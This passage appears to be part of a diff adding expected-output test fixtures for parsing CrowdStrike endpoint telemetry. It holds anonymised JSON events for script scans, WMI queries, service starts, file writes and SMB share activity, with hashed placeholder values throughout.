+                "original": "{\"event_simpleName\":\"ScriptControlErrorEvent\",\"ContextTimeStamp\":\"1752017032.509\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"109050000055\",\"ContextThreadId\":\"883457700032905\",\"Parameter64_3\":\"0\",\"aip\":\"89.160.20.128\",\"Parameter64_2\":\"8206700950\",\"Parameter64_1\":\"0\",\"ScriptControlErrorCode\":\"3\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"96\",\"name\":\"345e60fd50e3d887337d0b2b9\",\"EventOrigin\":\"1\",\"id\":\"7e63b76986f72b1aa2e6038707b440ac2bd2\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"5646c890ca4b0ac33c1cfa27264240b6\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "failure",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "id": "5646c890ca4b0ac33c1cfa27264240b6",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ScriptControlErrorEvent",
+            "observer": {
+                "address": [
+                    "89.160.20.128"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.128"
+                ],
+                "serial_number": "5646c890ca4b0ac33c1cfa27264240b6",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "109050000055",
+                "thread": {
+                    "id": 883457700032905
+                }
+            },
+            "related": {
+                "hash": [
+                    "3440491101"
+                ],
+                "ip": [
+                    "89.160.20.128"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "8504003003",
+                "ContentSHA256HashData": "d989a41a36e20c7aee72b566f550081a83e98e302ff39c0096cc93c842822bfe",
+                "ContextProcessId": "2579509200600",
+                "ContextTimeStamp": "2025-10-18T18:25:11.783Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "76",
+                "EventOrigin": "1",
+                "GrandparentCommandLine": "5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce 7e4da8f92d658b5974fb2fcff57fa319 -63 ef8d1f274d1f3957c -bfe4 71 -9de2 e162e -af0975 b810c110085eaa6070dc25a0f81e8a0248716ebb697a69c2d3246aa05db7877e -255e 45 -d89d7 5a58951b1bac16ed39694af351d583abddff0b30 -288 5",
+                "GrandparentImageFileName": "\\6ba0bd\\447b992c\\9134161b\\5fd4a1cd\\d5a15842.exe",
+                "HostProcessType": "4",
+                "OriginalContentLength": "103",
+                "ParentCommandLine": "82\\ab7e5c1\\4a6a0a4b\\04d.exe /c \"\"C:\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\9abf749f.bat\" \"C:\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\8c5fa1bc.bat\"\"",
+                "ParentImageFileName": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\04d.exe",
+                "ScriptContent": "8040e831._01000001(\"-2147483646\", \"SYSTEM\\87d633b2\\32d7e82\\185d320a\\921a9d8f",
+                "ScriptContentName": "\\e2\\82\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\6d70c65f.vbs",
+                "ScriptingLanguageId": "4",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "42432e4ab526161b012bf9090bfa8e7f7c50",
+                "name": "da8c933b9d11428ed052d2d5eb4c"
+            },
+            "device": {
+                "id": "ec58958430d6e12f5dfa327cad790e06"
+            },
+            "event": {
+                "action": "ScriptControlScanTelemetry",
+                "category": [
+                    "malware",
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "42432e4ab526161b012bf9090bfa8e7f7c50|ec58958430d6e12f5dfa327cad790e06|4092825518eaf67377a6e4492ae44577",
+                "kind": "state",
+                "original": "{\"ScriptContent\":\"8040e831._01000001(\\\"-2147483646\\\", \\\"SYSTEM\\\\87d633b2\\\\32d7e82\\\\185d320a\\\\921a9d8f\",\"OriginalContentLength\":\"103\",\"ContextThreadId\":\"700600800020030\",\"ScriptingLanguageId\":\"4\",\"aip\":\"216.160.83.56\",\"ParentImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\04d.exe\",\"GrandparentImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\5fd4a1cd\\\\d5a15842.exe\",\"event_platform\":\"Win\",\"ScriptContentName\":\"\\\\e2\\\\82\\\\6b0cc\\\\9d0fa317\\\\0f51ad6\\\\8c31e\\\\d62f\\\\d41e7ee1\\\\6d70c65f.vbs\",\"HostProcessType\":\"4\",\"EventOrigin\":\"1\",\"id\":\"42432e4ab526161b012bf9090bfa8e7f7c50\",\"ParentCommandLine\":\"82\\\\ab7e5c1\\\\4a6a0a4b\\\\04d.exe /c \\\"\\\"C:\\\\6b0cc\\\\9d0fa317\\\\0f51ad6\\\\8c31e\\\\d62f\\\\d41e7ee1\\\\9abf749f.bat\\\" \\\"C:\\\\6b0cc\\\\9d0fa317\\\\0f51ad6\\\\8c31e\\\\d62f\\\\d41e7ee1\\\\8c5fa1bc.bat\\\"\\\"\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ScriptControlScanTelemetry\",\"ContextTimeStamp\":\"1760811911.783\",\"ConfigStateHash\":\"8504003003\",\"ContextProcessId\":\"2579509200600\",\"ContentSHA256HashData\":\"d989a41a36e20c7aee72b566f550081a83e98e302ff39c0096cc93c842822bfe\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"CommandLine\":\"e108a27 868 7772eeea 155438f51ba0153edf44e16365faa317f4a2f01da4ce35d7ba9e8efe8d51a5a8 -9a8a308 284\",\"GrandparentCommandLine\":\"5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce 7e4da8f92d658b5974fb2fcff57fa319 -63 ef8d1f274d1f3957c -bfe4 71 -9de2 e162e -af0975 b810c110085eaa6070dc25a0f81e8a0248716ebb697a69c2d3246aa05db7877e -255e 45 -d89d7 5a58951b1bac16ed39694af351d583abddff0b30 -288 5\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\e108a27.exe\",\"Entitlements\":\"76\",\"name\":\"da8c933b9d11428ed052d2d5eb4c\",\"aid\":\"ec58958430d6e12f5dfa327cad790e06\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "id": "ec58958430d6e12f5dfa327cad790e06",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ScriptControlScanTelemetry",
+            "observer": {
+                "address": [
+                    "216.160.83.56"
+                ],
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "serial_number": "ec58958430d6e12f5dfa327cad790e06",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "args": [
+                    "e108a27",
+                    "868",
+                    "7772eeea",
+                    "155438f51ba0153edf44e16365faa317f4a2f01da4ce35d7ba9e8efe8d51a5a8",
+                    "-9a8a308",
+                    "284"
+                ],
+                "args_count": 6,
+                "command_line": "e108a27 868 7772eeea 155438f51ba0153edf44e16365faa317f4a2f01da4ce35d7ba9e8efe8d51a5a8 -9a8a308 284",
+                "entity_id": "2579509200600",
+                "executable": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\e108a27.exe",
+                "name": "e108a27.exe",
+                "thread": {
+                    "id": 700600800020030
+                }
+            },
+            "related": {
+                "hash": [
+                    "8504003003"
+                ],
+                "ip": [
+                    "216.160.83.56"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ClientComputerName": "9b0f0662",
+                "ConfigStateHash": "2069001378",
+                "ContextProcessId": "2600380079010",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "96",
+                "EventOrigin": "1",
+                "WmiNamespaceName": "4813\\155e1",
+                "WmiQuery": "8d8f8ea22b6bfbe801ecaaba1425c6a9d7",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "272b6e237d25b3c937239259405719619f9c",
+                "name": "887f1bbf3206d18c959"
+            },
+            "device": {
+                "id": "cfe278fcd1e293c7afdf3f1753b2d89e"
+            },
+            "event": {
+                "action": "SensitiveWmiQuery",
+                "category": [
+                    "process"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "272b6e237d25b3c937239259405719619f9c|cfe278fcd1e293c7afdf3f1753b2d89e|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"SensitiveWmiQuery\",\"UserName\":\"207ef664\\\\d621c1\",\"ConfigStateHash\":\"2069001378\",\"ContextProcessId\":\"2600380079010\",\"aip\":\"81.2.69.142\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"WmiQuery\":\"8d8f8ea22b6bfbe801ecaaba1425c6a9d7\",\"ClientComputerName\":\"9b0f0662\",\"Entitlements\":\"96\",\"name\":\"887f1bbf3206d18c959\",\"EventOrigin\":\"1\",\"id\":\"272b6e237d25b3c937239259405719619f9c\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"cfe278fcd1e293c7afdf3f1753b2d89e\",\"WmiNamespaceName\":\"4813\\\\155e1\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "id": "cfe278fcd1e293c7afdf3f1753b2d89e",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "SensitiveWmiQuery",
+            "observer": {
+                "address": [
+                    "81.2.69.142"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "serial_number": "cfe278fcd1e293c7afdf3f1753b2d89e",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "2600380079010"
+            },
+            "related": {
+                "hash": [
+                    "2069001378"
+                ],
+                "hosts": [
+                    "9b0f0662"
+                ],
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "user": [
+                    "207ef664\\d621c1"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "207ef664\\d621c1"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "830",
+                "ConfigStateHash": "240271348",
+                "ContextTimeStamp": "2025-07-15T05:39:35.986Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "76",
+                "EventOrigin": "45",
+                "InterfaceGuid": "b3f8252aa9cc6427351d20c3f33d3ae79e2e",
+                "InterfaceVersion": "510063",
+                "RpcClientProcessId": "5080050038080",
+                "RpcClientThreadId": "208220707353715",
+                "RpcNestingLevel": "0",
+                "RpcOpNum": "94",
+                "TokenType": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "8b25e606b146b0ecb0d734dc9eedcd5ef49f",
+                "name": "e9599fcf8f9c5676"
+            },
+            "device": {
+                "id": "8fb3daf730de8e73c353f0c4137a51b5"
+            },
+            "event": {
+                "action": "ServiceStarted",
+                "category": [
+                    "process"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "8b25e606b146b0ecb0d734dc9eedcd5ef49f|8fb3daf730de8e73c353f0c4137a51b5|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"aip\":\"81.2.69.144\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"45\",\"InterfaceGuid\":\"b3f8252aa9cc6427351d20c3f33d3ae79e2e\",\"RpcClientProcessId\":\"5080050038080\",\"id\":\"8b25e606b146b0ecb0d734dc9eedcd5ef49f\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ServiceStarted\",\"ContextTimeStamp\":\"1752557975.986\",\"UserName\":\"9ce650c90\",\"ConfigStateHash\":\"240271348\",\"InterfaceVersion\":\"510063\",\"RpcClientThreadId\":\"208220707353715\",\"AuthenticationId\":\"830\",\"ServiceDisplayName\":\"b0f9460\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"CommandLine\":\"7f4e00945ff9549f18b040b9d6c84c6 -2 1c2833 -5 -9 b0f9460\",\"TargetProcessId\":\"4007891768902\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\177d568.exe\",\"RpcOpNum\":\"94\",\"Entitlements\":\"76\",\"name\":\"e9599fcf8f9c5676\",\"aid\":\"8fb3daf730de8e73c353f0c4137a51b5\",\"RpcNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "8fb3daf730de8e73c353f0c4137a51b5",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ServiceStarted",
+            "observer": {
+                "address": [
+                    "81.2.69.144"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "serial_number": "8fb3daf730de8e73c353f0c4137a51b5",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "args": [
+                    "7f4e00945ff9549f18b040b9d6c84c6",
+                    "-2",
+                    "1c2833",
+                    "-5",
+                    "-9",
+                    "b0f9460"
+                ],
+                "args_count": 6,
+                "command_line": "7f4e00945ff9549f18b040b9d6c84c6 -2 1c2833 -5 -9 b0f9460",
+                "entity_id": "4007891768902",
+                "executable": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\177d568.exe",
+                "name": "177d568.exe",
+                "title": "b0f9460"
+            },
+            "related": {
+                "hash": [
+                    "240271348"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "user": [
+                    "9ce650c90"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "9ce650c90"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "830",
+                "ConfigStateHash": "9080101000",
+                "ContextBaseFileName": "511ab7",
+                "ContextProcessId": "107208055010",
+                "ContextTimeStamp": "2025-10-21T20:48:29.477Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "56",
+                "EventOrigin": "1",
+                "FileCategory": "1",
+                "FileEcpBitmask": "0",
+                "FileObject": "0",
+                "FileOperatorSid": "S-39243-24597-72335",
+                "FileWrittenFlags": "0",
+                "IrpFlags": "0",
+                "IsOnNetwork": "0",
+                "IsOnRemovableDisk": "0",
+                "MajorFunction": "0",
+                "MinorFunction": "0",
+                "OperationFlags": "0",
+                "TokenType": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "1c2cb8d06c607d68fcb2877b0e000a683739",
+                "name": "d4fd2d5cb305a8abdd140a"
+            },
+            "device": {
+                "id": "61cace3ec102dbde6e5eb08963b52e9c"
+            },
+            "event": {
+                "action": "creation",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "1c2cb8d06c607d68fcb2877b0e000a683739|61cace3ec102dbde6e5eb08963b52e9c|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"FileOperatorSid\":\"S-39243-24597-72335\",\"ContextBaseFileName\":\"511ab7\",\"FileCategory\":\"1\",\"Size\":\"8200405\",\"ContextThreadId\":\"90605908807000\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.144\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"064619a017259a2de5b5a7a60da71f28010aaa5134a07dc8\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\b9e65ff8\\\\fb6901a4\",\"id\":\"1c2cb8d06c607d68fcb2877b0e000a683739\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"SevenZipFileWritten\",\"ContextTimeStamp\":\"1761079709.477\",\"ConfigStateHash\":\"9080101000\",\"ContextProcessId\":\"107208055010\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"830\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"56\",\"name\":\"d4fd2d5cb305a8abdd140a\",\"OperationFlags\":\"0\",\"aid\":\"61cace3ec102dbde6e5eb08963b52e9c\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\3edfbf1f\\\\ec1d12b\\\\e80c39c\\\\7d0c653b.tmp\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "device": "835\\b9e65ff8\\fb6901a4",
+                "directory": "\\6ba0bd\\3edfbf1f\\ec1d12b\\e80c39c",
+                "extension": "tmp",
+                "inode": "064619a017259a2de5b5a7a60da71f28010aaa5134a07dc8",
+                "name": "7d0c653b.tmp",
+                "path": "\\6ba0bd\\3edfbf1f\\ec1d12b\\e80c39c\\7d0c653b.tmp",
+                "size": 8200405,
+                "type": "file"
+            },
+            "host": {
+                "id": "61cace3ec102dbde6e5eb08963b52e9c",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "SevenZipFileWritten",
+            "observer": {
+                "address": [
+                    "81.2.69.144"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "serial_number": "61cace3ec102dbde6e5eb08963b52e9c",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "107208055010",
+                "name": "511ab7",
+                "thread": {
+                    "id": 90605908807000
+                }
+            },
+            "related": {
+                "hash": [
+                    "9080101000"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "user": [
+                    "S-39243-24597-72335"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-39243-24597-72335"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ClientComputerName": "6cfc77d1a6",
+                "ConfigStateHash": "9968901000",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "26",
+                "EventOrigin": "45",
+                "SmbShareName": "967ec0f7",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "56cb5eb3321a430b24ba0bebef0335c0abf6",
+                "name": "0e883005214e1c97be512a900"
+            },
+            "device": {
+                "id": "f7e49d5e0a65ac9907089989782717df"
+            },
+            "event": {
+                "action": "SmbClientShareClosedEtw",
+                "category": [
+                    "network"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "56cb5eb3321a430b24ba0bebef0335c0abf6|f7e49d5e0a65ac9907089989782717df|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"SmbClientShareClosedEtw\",\"ConfigStateHash\":\"9968901000\",\"aip\":\"216.160.83.56\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"ClientComputerName\":\"6cfc77d1a6\",\"Entitlements\":\"26\",\"name\":\"0e883005214e1c97be512a900\",\"EventOrigin\":\"45\",\"id\":\"56cb5eb3321a430b24ba0bebef0335c0abf6\",\"SmbShareName\":\"967ec0f7\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"f7e49d5e0a65ac9907089989782717df\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "connection",
+                    "end"
+                ]
+            },
+            "host": {
+                "id": "f7e49d5e0a65ac9907089989782717df",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "SmbClientShareClosedEtw",
+            "observer": {
+                "address": [
+                    "216.160.83.56"
+                ],
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "serial_number": "f7e49d5e0a65ac9907089989782717df",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "related": {
+                "hash": [
+                    "9968901000"
+                ],
+                "hosts": [
+                    "6cfc77d1a6"
+                ],
+                "ip": [
+                    "216.160.83.56"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ClientComputerName": "e747bc",
+                "ConfigStateHash": "804061009",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "36",
+                "EventOrigin": "45",
+                "SmbShareName": "a4d268",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "be306cd8d3b6946b7798e88271cbf77dee2b",
+                "name": "d226521607b20089974fab726"
+            },
+            "device": {
+                "id": "e7e98921e91425b34501d7e91f6906b7"
+            },
+            "event": {
+                "action": "SmbClientShareOpenedEtw",
+                "category": [
+                    "network"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "be306cd8d3b6946b7798e88271cbf77dee2b|e7e98921e91425b34501d7e91f6906b7|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"SmbClientShareOpenedEtw\",\"ConfigStateHash\":\"804061009\",\"aip\":\"216.160.83.56\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"ClientComputerName\":\"e747bc\",\"Entitlements\":\"36\",\"name\":\"d226521607b20089974fab726\",\"EventOrigin\":\"45\",\"id\":\"be306cd8d3b6946b7798e88271cbf77dee2b\",\"SmbShareName\":\"a4d268\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"e7e98921e91425b34501d7e91f6906b7\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "connection",
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "e7e98921e91425b34501d7e91f6906b7",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "SmbClientShareOpenedEtw",
+            "observer": {
+                "address": [
+                    "216.160.83.56"
+                ],
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "serial_number": "e7e98921e91425b34501d7e91f6906b7",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "related": {
+                "hash": [
+                    "804061009"
+                ],
+                "hosts": [
+                    "e747bc"
+                ],
+                "ip": [
+                    "216.160.83.56"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "50820000",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "86",
+                "EventOrigin": "45",
+                "SmbShareName": "d1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "73dd5ae007d4fa5b059b77f3a112dd87b35f",
+                "name": "e1b2ed2cbfccda3de1aa6adee"
+            },
+            "destination": {
+                "address": "2a02:cf40::1",
+                "domain": "c53",
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": "2a02:cf40::1"
+            },
+            "device": {
+                "id": "f5f8341524ed1dd257646890be631aee"
+            },
+            "event": {
+                "action": "SmbServerShareOpenedEtw",
+                "category": [
+                    "network"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "73dd5ae007d4fa5b059b77f3a112dd87b35f|f5f8341524ed1dd257646890be631aee|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"SmbServerShareOpenedEtw\",\"UserName\":\"07d8f4d\",\"RemoteAddressIP6\":\"2a02:cf40::1\",\"ConfigStateHash\":\"50820000\",\"DomainName\":\"c53\",\"aip\":\"81.2.69.144\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"86\",\"name\":\"e1b2ed2cbfccda3de1aa6adee\",\"EventOrigin\":\"45\",\"id\":\"73dd5ae007d4fa5b059b77f3a112dd87b35f\",\"SmbShareName\":\"d1\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"f5f8341524ed1dd257646890be631aee\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "connection",
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "f5f8341524ed1dd257646890be631aee",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "SmbServerShareOpenedEtw",
+            "observer": {
+                "address": [
+                    "81.2.69.144"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "serial_number": "f5f8341524ed1dd257646890be631aee",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "related": {
+                "hash": [
+                    "50820000"
+                ],
+                "ip": [
+                    "81.2.69.144",
+                    "2a02:cf40::1"
+                ],
+                "user": [
+                    "07d8f4d"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "07d8f4d"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "4100830266",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "76",
+                "EventOrigin": "45",
+                "SmbClientName": "43194ec065b",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "295a131e9dc1f5ef17daa6595049d55e40cf",
+                "name": "ba4a423304abd0ff28e43"
+            },
+            "device": {
+                "id": "c3ecc304b2ebc8216508373e45b2b7c6"
+            },
+            "event": {
+                "action": "SmbServerV1AuditEtw",
+                "category": [
+                    "network"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "295a131e9dc1f5ef17daa6595049d55e40cf|c3ecc304b2ebc8216508373e45b2b7c6|4092825518eaf67377a6e4492ae44577",
+                "kind": "state",
+                "original": "{\"event_simpleName\":\"SmbServerV1AuditEtw\",\"ConfigStateHash\":\"4100830266\",\"aip\":\"81.2.69.142\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"SmbClientName\":\"43194ec065b\",\"event_platform\":\"Win\",\"Entitlements\":\"76\",\"name\":\"ba4a423304abd0ff28e43\",\"EventOrigin\":\"45\",\"id\":\"295a131e9dc1f5ef17daa6595049d55e40cf\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"c3ecc304b2ebc8216508373e45b2b7c6\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "unknown",
+                "type": [
+                    "connection"
+                ]
+            },
+            "host": {
+                "id": "c3ecc304b2ebc8216508373e45b2b7c6",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "SmbServerV1AuditEtw",
+            "observer": {
+                "address": [
+                    "81.2.69.142"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
